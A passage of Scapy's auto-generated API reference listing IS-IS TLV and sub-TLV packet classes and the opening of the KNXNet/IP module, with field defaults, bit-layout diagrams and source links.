	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             MAXBW             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_MaximumLinkBandwidthSubTlv               


ISIS_MaximumLinkBandwidthSubTlv fields






	type

	ByteEnumField

	9



	len

	FieldLenField

	None



	maxbw

	IEEEFloatField

	1000















	
class scapy.contrib.isis.ISIS_MaximumReservableLinkBandwidthSubTlv(_pkt, /, *, type=10, len=None, maxrsvbw=1000)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L336-L340]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            MAXRSVBW           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. ISIS_MaximumReservableLinkBandwidthSubTlv          


ISIS_MaximumReservableLinkBandwidthSubTlv fields






	type

	ByteEnumField

	10



	len

	FieldLenField

	None



	maxrsvbw

	IEEEFloatField

	1000















	
class scapy.contrib.isis.ISIS_NodeIdField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L201-L206]

	Bases: _ISIS_IdFieldBase


	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L205-L206]

	








	
class scapy.contrib.isis.ISIS_P2PAdjacencyStateTlv(_pkt, /, *, type=240, len=None, state=2, extlocalcircuitid=None, neighboursystemid=None, neighbourextlocalcircuitid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L751-L758]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |     STATE     |EXTLOCALCIRCUIT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |NEIGHBOURSYSTEM|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           NEIGHBOUREXTLOCALCIRCUITID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. ISIS_P2PAdjacencyStateTlv                  


ISIS_P2PAdjacencyStateTlv fields






	type

	ByteEnumField

	240



	len

	_AdjacencyStateTlvLenField

	None



	state

	ByteEnumField

	2



	extlocalcircuitid

	IntField (Cond)

	None



	neighboursystemid

	ISIS_SystemIdField (Cond)

	None



	neighbourextlocalcircuitid

	IntField (Cond)

	None















	
class scapy.contrib.isis.ISIS_P2P_Hello(_pkt, /, *, circuittype=<Flag 2 (L2)>, sourceid='0102.0304.0506', holdingtime=30, pdulength=None, localcircuitid=0, tlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L947-L957]

	Bases: _ISIS_PduBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CIRCUITTYPE  |                    SOURCEID                   |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |  HOLDINGTIME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           PDULENGTH           | LOCALCIRCUITID|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TLVS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ISIS_P2P_Hello                        


ISIS_P2P_Hello fields






	circuittype

	ISIS_CircuitTypeField

	<Flag 2 (L2)>



	sourceid

	ISIS_SystemIdField

	'0102.0304.0506'



	holdingtime

	ShortField

	30



	pdulength

	_ISIS_PduLengthField

	None



	localcircuitid

	ByteField

	0



	tlvs

	_ISIS_TlvListField

	[]















	
class scapy.contrib.isis.ISIS_PaddingTlv(_pkt, /, *, type=8, len=None, padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L762-L768]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ISIS_PaddingTlv                       


ISIS_PaddingTlv fields






	type

	ByteEnumField

	8



	len

	FieldLenField

	None



	padding

	BoundStrLenField

	b''















	
class scapy.contrib.isis.ISIS_PrefixSegmentIdentifierSubTlv(_pkt, /, *, type=3, len=5, flags=<Flag 0 ()>, algorithm=0, sid=0, idx=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L391-L402]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |     FLAGS     |   ALGORITHM   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              IDX                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ISIS_PrefixSegmentIdentifierSubTlv              


ISIS_PrefixSegmentIdentifierSubTlv fields






	type

	ByteEnumField

	3



	len

	ByteField

	5



	flags

	FlagsField

	<Flag 0 ()>



	algorithm

	ByteField

	0



	sid

	ThreeBytesField (Cond)

	0



	idx

	IntField (Cond)

	0















	
class scapy.contrib.isis.ISIS_ProtocolsSupportedTlv(_pkt, /, *, type=129, len=None, nlpids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L771-L777]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             NLPIDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ISIS_ProtocolsSupportedTlv                  


ISIS_ProtocolsSupportedTlv fields






	type

	ByteEnumField

	129



	len

	FieldLenField

	None



	nlpids

	FieldListField

	[]















	
class scapy.contrib.isis.ISIS_RouterCapabilityTlv(_pkt, /, *, type=242, len=None, routerid='0.0.0.0', flags=<Flag 0 ()>, subtlvs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L780-L799]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            ROUTERID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |     FLAGS     |    SUBTLVS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. ISIS_RouterCapabilityTlv                   


ISIS_RouterCapabilityTlv fields






	type

	ByteEnumField

	242



	len

	FieldLenField

	None



	routerid

	IPField

	'0.0.0.0'



	flags

	FlagsField

	<Flag 0 ()>



	subtlvs

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_SIDLabelSubTLV(_pkt, /, *, type=1, len=3, sid=0, idx=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L422-L431]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              SID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              IDX              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ISIS_SIDLabelSubTLV                     


ISIS_SIDLabelSubTLV fields






	type

	ByteEnumField

	1



	len

	ByteField

	3



	sid

	ThreeBytesField (Cond)

	0



	idx

	IntField (Cond)

	0















	
class scapy.contrib.isis.ISIS_SRAlgorithmSubTLV(_pkt, /, *, type=19, len=None, algorithms=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L485-L495]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |           ALGORITHMS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ISIS_SRAlgorithmSubTLV                    


ISIS_SRAlgorithmSubTLV fields






	type

	ByteEnumField

	19



	len

	FieldLenField

	None



	algorithms

	FieldListField

	[0]















	
class scapy.contrib.isis.ISIS_SRCapabilitiesSubTLV(_pkt, /, *, type=2, len=None, flags=<Flag 0 ()>, srgb_ranges=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L464-L482]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |     FLAGS     |  SRGB RANGES  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. ISIS_SRCapabilitiesSubTLV                  


ISIS_SRCapabilitiesSubTLV fields






	type

	ByteEnumField

	2



	len

	FieldLenField

	None



	flags

	FlagsField

	<Flag 0 ()>



	srgb_ranges

	PacketListField

	[]















	
class scapy.contrib.isis.ISIS_SRGBDescriptorEntry(_pkt, /, *, range=0, sid_label=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L453-L461]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L460-L461]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             RANGE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SID LABEL           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ISIS_SRGBDescriptorEntry                   


ISIS_SRGBDescriptorEntry fields






	range

	ThreeBytesField

	0



	sid_label

	PacketField

	None















	
class scapy.contrib.isis.ISIS_SystemIdField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L193-L198]

	Bases: _ISIS_IdFieldBase


	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L197-L198]

	








	
class scapy.contrib.isis.ISIS_TEDefaultMetricSubTlv(_pkt, /, *, type=18, len=None, temetric=1000)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L350-L354]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            TEMETRIC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ISIS_TEDefaultMetricSubTlv                  


ISIS_TEDefaultMetricSubTlv fields






	type

	ByteEnumField

	18



	len

	FieldLenField

	None



	temetric

	ThreeBytesField

	1000















	
class scapy.contrib.isis.ISIS_TERouterIDTlv(_pkt, /, *, type=134, len=None, routerid='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L635-L639]

	Bases: ISIS_GenericTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            ROUTERID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ISIS_TERouterIDTlv                      


ISIS_TERouterIDTlv fields






	type

	ByteEnumField

	134



	len

	FieldLenField

	None



	routerid

	IPField

	'0.0.0.0'















	
class scapy.contrib.isis.ISIS_UnreservedBandwidthSubTlv(_pkt, /, *, type=11, len=None, unrsvbw=[1000, 1000, 1000, 1000, 1000, 1000, 1000, 1000])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L343-L347]

	Bases: ISIS_GenericSubTlv


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            UNRSVBW            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ISIS_UnreservedBandwidthSubTlv                


ISIS_UnreservedBandwidthSubTlv fields






	type

	ByteEnumField

	11



	len

	FieldLenField

	None



	unrsvbw

	FieldListField

	[1000, 1000, 1000, 1000, 1000, 1000, 1000, 1000]















	
scapy.contrib.isis.isis_area2str(area)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L67-L68]

	




	
scapy.contrib.isis.isis_lspid2str(lspid)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L96-L97]

	




	
scapy.contrib.isis.isis_nodeid2str(nodeid)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L88-L89]

	




	
scapy.contrib.isis.isis_str2area(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L71-L77]

	




	
scapy.contrib.isis.isis_str2lspid(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L100-L101]

	




	
scapy.contrib.isis.isis_str2nodeid(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L92-L93]

	




	
scapy.contrib.isis.isis_str2sysid(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L84-L85]

	




	
scapy.contrib.isis.isis_sysid2str(sysid)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isis.py#L80-L81]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.knx

KNXNet/IP

This module provides Scapy layers for KNXNet/IP communications over UDP
according to KNX specifications v2.1 / ISO-IEC 14543-3.
Specifications can be downloaded for free here :
https://my.knx.org/en/shop/knx-specifications

Currently, the module (partially) supports the following services :
* SEARCH REQUEST/RESPONSE
* DESCRIPTION REQUEST/RESPONSE
* CONNECT, DISCONNECT, CONNECTION_STATE REQUEST/RESPONSE
* CONFIGURATION REQUEST/RESPONSE
* TUNNELING REQUEST/RESPONSE


	
class scapy.contrib.knx.CEMI(_pkt, /, *, message_code=None, cemi_data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L367-L388]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  MESSAGE CODE |           CEMI DATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. CEMI                             


CEMI fields






	message_code

	ByteEnumField

	None



	cemi_data

	MultipleTypeField (PacketField, PacketField, PacketField, PacketField, PacketField, PacketField, PacketField)

	<LcEMI  |>











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.CRD(_pkt, /, *, structure_length=0, connection_type=3, connection_data=<CRDTunnelingConnection  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L292-L306]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STRUCTURE LENGT|CONNECTION TYPE|        CONNECTION DATA        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. CRD                             


CRD fields






	structure_length

	ByteField

	0



	connection_type

	ByteEnumField

	3



	connection_data

	PacketField (Cond)

	<CRDTunnelingConnection  |>











	
payload_guess

	Possible sublayers:
Padding






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L303-L306]

	








	
class scapy.contrib.knx.CRDTunnelingConnection(_pkt, /, *, knx_individual_address=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L268-L272]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     KNX INDIVIDUAL ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. CRDTunnelingConnection                    


CRDTunnelingConnection fields






	knx_individual_address

	KNXAddressField

	None











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.CRI(_pkt, /, *, structure_length=2, connection_type=3, connection_data=<TunnelingConnection  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L275-L289]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STRUCTURE LENGT|CONNECTION TYPE|        CONNECTION DATA        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. CRI                             


CRI fields






	structure_length

	ByteField

	2



	connection_type

	ByteEnumField

	3



	connection_data

	PacketField (Cond)

	<TunnelingConnection  |>











	
payload_guess

	Possible sublayers:
Padding






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L286-L289]

	








	
class scapy.contrib.knx.DIBDeviceInfo(_pkt, /, *, structure_length=None, description_type=1, knx_medium=2, device_status=None, knx_address=None, project_installation_identifier=None, device_serial_number=None, device_multicast_address=None, device_mac_address=None, device_friendly_name=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L217-L235]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STRUCTURE LENGT|DESCRIPTION TYP|   KNX MEDIUM  | DEVICE STATUS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          KNX ADDRESS          |PROJECT INSTALLATION IDENTIFIER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      DEVICE SERIAL NUMBER                     |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |    DEVICE MULTICAST ADDRESS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       DEVICE MAC ADDRESS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      DEVICE FRIENDLY NAME                     |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DIBDeviceInfo                        


DIBDeviceInfo fields






	structure_length

	ByteField

	None



	description_type

	ByteEnumField

	1



	knx_medium

	ByteEnumField

	2



	device_status

	ByteField

	None



	knx_address

	KNXAddressField

	None



	project_installation_identifier

	ShortField

	None



	device_serial_number

	XBitField  (48 bits)

	None



	device_multicast_address

	IPField

	None



	device_mac_address

	MACField

	None



	device_friendly_name

	StrFixedLenField

	None











	
payload_guess

	Possible sublayers:
Padding






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L232-L235]

	








	
class scapy.contrib.knx.DIBSuppSvcFamilies(_pkt, /, *, structure_length=2, description_type=2, service_family=[<ServiceFamily  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L238-L255]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STRUCTURE LENGT|DESCRIPTION TYP|         SERVICE FAMILY        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DIBSuppSvcFamilies                      


DIBSuppSvcFamilies fields






	structure_length

	ByteField

	2



	description_type

	ByteEnumField

	2



	service_family

	PacketListField (Cond)

	[<ServiceFamily  |>]











	
payload_guess

	Possible sublayers:
Padding






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L252-L255]

	








	
class scapy.contrib.knx.DPcEMI(_pkt, /, *, object_type=None, object_instance=1, property_id=None, number_of_elements=1, start_index=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L355-L364]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          OBJECT TYPE          |OBJECT INSTANCE|  PROPERTY ID  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NUMBER |      START INDEX      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. DPcEMI                            


DPcEMI fields






	object_type

	ShortField

	None



	object_instance

	ByteField

	1



	property_id

	ByteField

	None



	number_of_elements

	BitField  (4 bits)

	1



	start_index

	BitField  (12 bits)

	None











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.HPAI(_pkt, /, *, structure_length=None, host_protocol=1, ip_address=None, port=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L190-L202]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STRUCTURE LENGT| HOST PROTOCOL |           IP ADDRESS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. HPAI                             


HPAI fields






	structure_length

	ByteField

	None



	host_protocol

	ByteEnumField

	1



	ip_address

	IPField

	None



	port

	ShortField

	None











	
payload_guess

	Possible sublayers:
Padding






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L199-L202]

	








	
class scapy.contrib.knx.KNX(_pkt, /, *, header_length=None, protocol_version=16, service_identifier=None, total_length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L564-L580]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
